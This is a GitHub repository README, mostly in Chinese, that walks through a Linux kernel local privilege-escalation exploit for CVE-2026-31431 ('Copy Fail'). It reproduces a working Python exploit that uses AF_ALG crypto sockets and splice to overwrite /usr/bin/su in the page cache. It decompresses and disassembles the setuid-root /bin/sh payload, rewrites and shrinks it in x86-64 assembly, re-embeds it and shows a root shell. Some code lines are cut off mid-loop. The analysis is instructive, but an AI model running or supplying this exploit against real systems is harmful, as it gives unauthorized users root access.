Pithase/asm-copyfail

GitHub: Pithase/asm-copyfail

针对CVE-2026-31431漏洞,提供从Python到x86-64汇编语言的漏洞利用分析和优化实现。

Stars: 2 | Forks: 0

# CVE-2026-31431 (Copy Fail) — 在 x86-64 汇编语言中的分析与实现 基于 [Theori](https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py) 上发布的源代码,我们将进行一系列练习,最终将其完全转换为纯汇编语言(无外部库)。 ``` #!/usr/bin/env python3 # Archivo: copyfail.py import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 24.04.4 LTS Release: 24.04 Codename: noble > $ uname -rm 6.19.4-061904-generic x86_64 ``` ## 漏洞验证 我们运行 Python 程序以验证系统是否存在漏洞。如果出错,则不存在漏洞;如果打开了 **sh** shell,则存在漏洞。 ``` > $ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i $ grep -r "algif" /etc/modprobe.d/ /etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail) /etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false # 检查是否存在显式 modprobe > $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak ``` 我们再次测试程序,这次它成功返回了 shell,并确认我们是 **root** 用户。 ``` > $ python3 copyfail.py # 重命名包含缓解措施的文件 uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd) # id ``` ### 重新启用保护 练习结束后,我们运行以下命令重新启用保护: ``` > $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf > $ sudo modprobe -r algif_aead > $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches ``` # 第 1 部分 — 从 Python 漏洞利用到优化的汇编 payload ## 分析压缩后的 payload 我们首先需要分析的是使用 **zlib** 压缩的字符串。为此,我们创建了一个 Python 程序 **decompress.py**,它将解压该字符串并生成一个文件:**output.bin**。 ``` # exit import zlib hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" data = zlib.decompress(bytes.fromhex(hex_data)) with open("output.bin", "wb") as f: f.write(data) print(f"Archivo generado: output.bin ({len(data)} bytes)") ``` 运行并分析文件类型。 ``` > $ python3 decompress.py Archivo generado: output.bin (160 bytes) > $ file output.bin output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header ``` ## 研究 ELF 文件 既然我们知道它是一个 **64 位 LSB 可执行文件**,我们来研究它。 ``` > $ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0 There are no sections in this file. There are no section groups in this file. Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000 There is no dynamic section in this file. There are no relocations in this file. No processor specific unwind information to decode Dynamic symbol information is not available for displaying symbols. No version information found in this file. ``` ELF 结构占用 **120 字节**:**ELF 头**(64 字节)+ **程序头**(56 字节)。机器代码从字节 120(0x78)开始,这与 **入口点地址:0x400078** 一致。 ### 反汇编代码 有了 **入口点地址:0x400078**,我们就可以开始反汇编代码了。 ``` > $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin output.bin: file format binary Disassembly of section .data: 0000000000000078 <.data+0x78>: 78: 31 c0 xor eax,eax 7a: 31 ff xor edi,edi 7c: b0 69 mov al,0x69 7e: 0f 05 syscall 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96 87: 31 f6 xor esi,esi 89: 6a 3b push 0x3b 8b: 58 pop rax 8c: 99 cdq 8d: 0f 05 syscall 8f: 31 ff xor edi,edi 91: 6a 3c push 0x3c 93: 58 pop rax 94: 0f 05 syscall 96: 2f (bad) 97: 62 69 6e 2f 73 (bad) 9c: 68 .byte 0x68 9d: 00 00 add BYTE PTR [rax],al 9f: 00 .byte 0 ``` ### objdump 参数说明 每个参数的解释: - **`-D`** — 反汇编所有内容。反汇编文件中的全部内容,而不仅仅是标记为代码的部分。如果没有此选项,`-d` 仅反汇编 `.text` 段,而由于此文件没有 ELF 段(是纯二进制文件),因此不会显示任何内容。 - **`-b binary`** — 二进制格式。告诉 objdump 将文件视为原始数据,而不尝试解析 ELF 头。如果没有此选项,objdump 会尝试读取文件的 ELF 头并失败或反汇编错误。 - **`-m i386:x86-64`** — 机器架构。指定要反汇编的指令集。`i386` 是基础家族,`:x86-64` 指定 64 位模式。当使用 `-b binary` 时,这是必需的,因为没有 ELF 头,objdump 无法知道架构。如果没有 `-m`,它会假定为 i386(32 位),反汇编结果将不正确——像 `lea rdi, [rip+0xf]` 这样的 64 位指令会被解码为垃圾数据。 - **`-M intel`** — 语法模式。使用 Intel 语法(`mov al, 0x69`)而不是 AT&T 语法(`mov $0x69, %al`)。 - **`-z`** — 禁用零序列的压缩显示。这样会显示所有内容,不省略零。 - **`--start-address=0x78`** — 从偏移 0x78(120 字节)开始。跳过 payload 的 ELF 头和程序头,仅反汇编机器代码。如果没有此选项,它会像反汇编指令一样反汇编头信息。 总结:使用 **`-b binary`** 时,**`-m`** 是必须的,因为 objdump 无法在没有 ELF 头的情况下推断架构。对于普通 ELF 文件(不使用 `-b binary`),则不需要 `-m`,因为架构信息在头的 `e_machine` 字段中。 在这种情况下,**`-z`** 参数至关重要,因为正如我们稍后将看到的,有些零用作填充,如果没有此参数,它会显示后续内容,我们就无法得到精确的反汇编结果。 ``` 9d: 00 00 add BYTE PTR [rax],al ... ``` ### 识别字符串 "/bin/sh" 在 objdump 的输出中,我们看到: ``` 96: 2f (bad) 97: 62 69 6e 2f 73 (bad) 9c: 68 .byte 0x68 9d: 00 00 add BYTE PTR [rax],al 9f: 00 .byte 0 ``` 在位置 0x80 处,我们有: ``` 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96 ``` 解释最后一行,我们推断它是一个字符串,从位置 0x96 开始,到 0x9F 结束。我们可以用以下方式查看该字符串: ``` > $ strings -t x output.bin 96 /bin/sh > $ xxd -s 0x96 -l 10 output.bin 00000096: 2f62 696e 2f73 6800 0000 /bin/sh... ``` 第一个 **00** 是标记字符串结束的空终止符(**/bin/sh\0**)。剩余的两个 **00** 是对齐填充。 ## Payload 的汇编代码 整理代码后,我们得到以下内容: ``` ; Archivo: payload.asm BITS 64 section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0) lea rdi, [rel shell_string] ; rdi -> "/bin/sh" xor esi, esi ; rsi = 0 (argv = NULL) push 0x3b ; 59 (execve) pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL) xor edi, edi ; rdi = 0 push 0x3c ; 60 (exit) pop rax syscall ; exit(0) shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación ``` ### 与原始文件的一致性验证 我们通过将其编译为二进制文件来验证此代码与我们解压字符串生成的 **output.bin** 文件相同。 ``` > $ nasm -f bin payload.asm -o payload.bin ``` 我们仅从 **output.bin** 文件中提取代码。由于我们知道前 120 字节对应于 ELF 结构,我们跳过该字节数。 ``` > $ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s ``` 我们确认我们的代码与原始 payload 相同。展示了三种验证方法。 ``` > $ diff -s payload-original.bin payload.bin Files payload-original.bin and payload.bin are identical > $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos" -->> Idénticos > $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}' a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin -->> Idénticos ``` ## Payload 优化 在确定 **payload.asm** 代码与原始代码完全对应后,我们对其进行优化。 ``` ; Archivo: payload-optimized.asm BITS 64 section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0) xor esi, esi ; rsi = 0 (argv = NULL) mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0" push rbx ; string al stack push rsp ; push dirección del string pop rdi ; rdi → "/bin/sh" en stack push 0x3b ; 59 (execve) pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL) xor edi, edi ; rdi = 0 push 0x3c ; 60 (exit) pop rax syscall ; exit(0) db 0 ; padding de alineación ``` 在 **第 2 部分** 中,我们将详细讨论每项优化的原因。 编译: ``` > $ nasm -f bin payload-optimized.asm -o payload-optimized.bin ``` ### 编译为 ELF 可执行文件 要直接执行 payload,我们必须按如下方式编译和链接它们: ``` > $ nasm -f elf64 payload.asm -o payload.o > $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 > $ ./payload $ > $ nasm -f elf64 payload-optimized.asm -o payload-optimized.o > $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 > $ ./payload-optimized $ ``` 如果我们想消除警告,应该在 **`section .text`** 之后添加以下行: ``` global _start _start: ``` ### 构建优化后的 ELF 我们将原始 payload(**output.bin**)的 ELF 头(前 120 字节)和 36 字节的优化 payload(**payload-optimized.bin**)连接起来。我们进行一些验证,分配执行权限,执行后获得 shell。 ``` > $ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s > $ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf > $ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header > $ chmod +x payload-optimized.elf > $ ./payload-optimized.elf $ ``` ## ELF 头分析 当我们将原始 ELF 的头信息(120 字节)与我们的优化 payload(36 字节)连接起来时,生成的文件大小为 156 字节,但头信息中的 **p_filesz** 和 **p_memsz** 字段仍然指示为 158,即原始 160 字节文件的值。我们将分析并更正这些字段。 为此,我们需要了解 ELF 文件的头信息结构。 ``` // --- ELF Header (64 bytes) --- // Definido en como Elf64_Ehdr struct Elf64_Ehdr { // Offset Bytes unsigned char e_ident[16]; // 0x00 16 uint16_t e_type; // 0x10 2 uint16_t e_machine; // 0x12 2 uint32_t e_version; // 0x14 4 uint64_t e_entry; // 0x18 8 uint64_t e_phoff; // 0x20 8 uint64_t e_shoff; // 0x28 8 uint32_t e_flags; // 0x30 4 uint16_t e_ehsize; // 0x34 2 uint16_t e_phentsize; // 0x36 2 uint16_t e_phnum; // 0x38 2 uint16_t e_shentsize; // 0x3A 2 uint16_t e_shnum; // 0x3C 2 uint16_t e_shstrndx; // 0x3E 2 }; // Total: 64 bytes // --- Program Header (56 bytes) --- // Definido en como Elf64_Phdr struct Elf64_Phdr { // Offset Bytes uint32_t p_type; // 0x40 4 uint32_t p_flags; // 0x44 4 uint64_t p_offset; // 0x48 8 uint64_t p_vaddr; // 0x50 8 uint64_t p_paddr; // 0x58 8 uint64_t p_filesz; // 0x60 8 uint64_t p_memsz; // 0x68 8 uint64_t p_align; // 0x70 8 }; // Total: 56 bytes ``` ### p_filesz 和 p_memsz 字段 我们观察程序头中 **p_filesz** 和 **p_memsz** 的值。它们指示该段在磁盘文件中存在多少字节,以及在加载时在内存中保留多少字节。 **p_filesz** 和 **p_memsz** 的偏移量分别是 0x60 和 0x68。 ``` > $ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000 > $ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000 ``` ### 字节序验证 我们直观地注意到这些值是以 **小端序** 存储的,因为如果是大端序,它们将是巨大的数值,与 160 字节的大小不符。为了确认这一点,我们检查 ELF 头的 **e_ident[5]** 的值。 可能的值有: | 值 | 常量 | 含义 | |---|---|---| | 0x01 | ELFDATA2LSB | 小端序(x86, x86-64, ARM) | | 0x02 | ELFDATA2MSB | 大端序(SPARC, PowerPC, MIPS BE) | 我们执行: ``` > $ xxd -s 5 -l 1 -p output.bin 01 ``` 确认是 **小端序**。我们以十进制查看这些值: ``` # 文件: decompress.py > $ od -An -t u8 -j 0x60 -N 8 output.bin 158 # p_filesz -> offset 0x60 > $ od -An -t u8 -j 0x68 -N 8 output.bin 158 ``` ### 大小比较 列出文件的大小。 ``` > $ ls -l output.bin payload-optimized.elf -rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin -rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf ``` 原始文件大小为 160 字节,但在结构中分配了 158 字节。这是因为文件末尾有两个字节的填充,作者决定精确地只指示将要加载的字节数。如果使用 160 而不是 158,也能正确执行,因为这两个填充字节永远不会被执行(它们在 `exit` 之后),也不会被引用。 我们的优化文件占用 156 字节,并有一个字节的填充。遵循与原程序作者相同的精确思路,我们将 **p_filesz** 和 **p_memsz** 定义为 **155**。 ### 修补字段 将 155 十进制转换为十六进制。 ``` > $ echo "obase=16; 155" | bc 9B # p_memsz -> offset 0x68 > $ printf '%x\n' 155 9b ``` 让程序头中的 **p_filesz** 和 **p_memsz** 字段具有正确的值是一个好的实践。 ``` > $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc 1+0 records in 1+0 records out 1 byte copied, 0,000686896 s, 1,5 kB/s > $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc 1+0 records in 1+0 records out 1 byte copied, 0,000130524 s, 7,7 kB/s ``` ### 验证更改 我们确认更改已正确应用。 ``` # 也可能是 > $ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155 # p_filesz -> offset 0x60 > $ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155 ``` 我们也可以通过查看程序头来确认。 ``` > $ readelf -l payload-optimized.elf Elf file type is EXEC (Executable file) Entry point 0x400078 There is 1 program header, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009b 0x000000000000009b R E 0x1000 ``` 我们运行它,它仍然工作正常。 ``` > $ ./payload-optimized.elf $ ``` ## 集成到漏洞利用中 我们创建一个程序来压缩优化后的 payload,并返回十六进制字符串以插入到漏洞利用中。 ``` # p_memsz -> offset 0x68 import zlib with open("payload-optimized.elf", "rb") as f: data = f.read() compressed = zlib.compress(data) print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes") print(compressed.hex()) ``` ``` > $ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6 ``` 我们用新的优化字符串替换原始漏洞利用中的压缩字符串。 ``` #!/usr/bin/env python3 # 文件: compress.py import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6")) while i $ python3 copyfail-optimized.py # 文件: copyfail-optimized.py uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd) # id ``` ## 联系方式 如果您有疑问、建议或更正,请在邮件中注明仓库名称,发送至: ✉️ `github@pithase.com.ar`
标签:CVE, exploit 开发, Python, socket 编程, Web报告查看器, x86-64 汇编, zlib, 内核漏洞, 协议分析, 子域名枚举, 数字签名, 无后门, 权限提升, 漏洞分析, 漏洞复现, 系统安全, 网络安全, 路径探测, 逆向工具, 隐私保护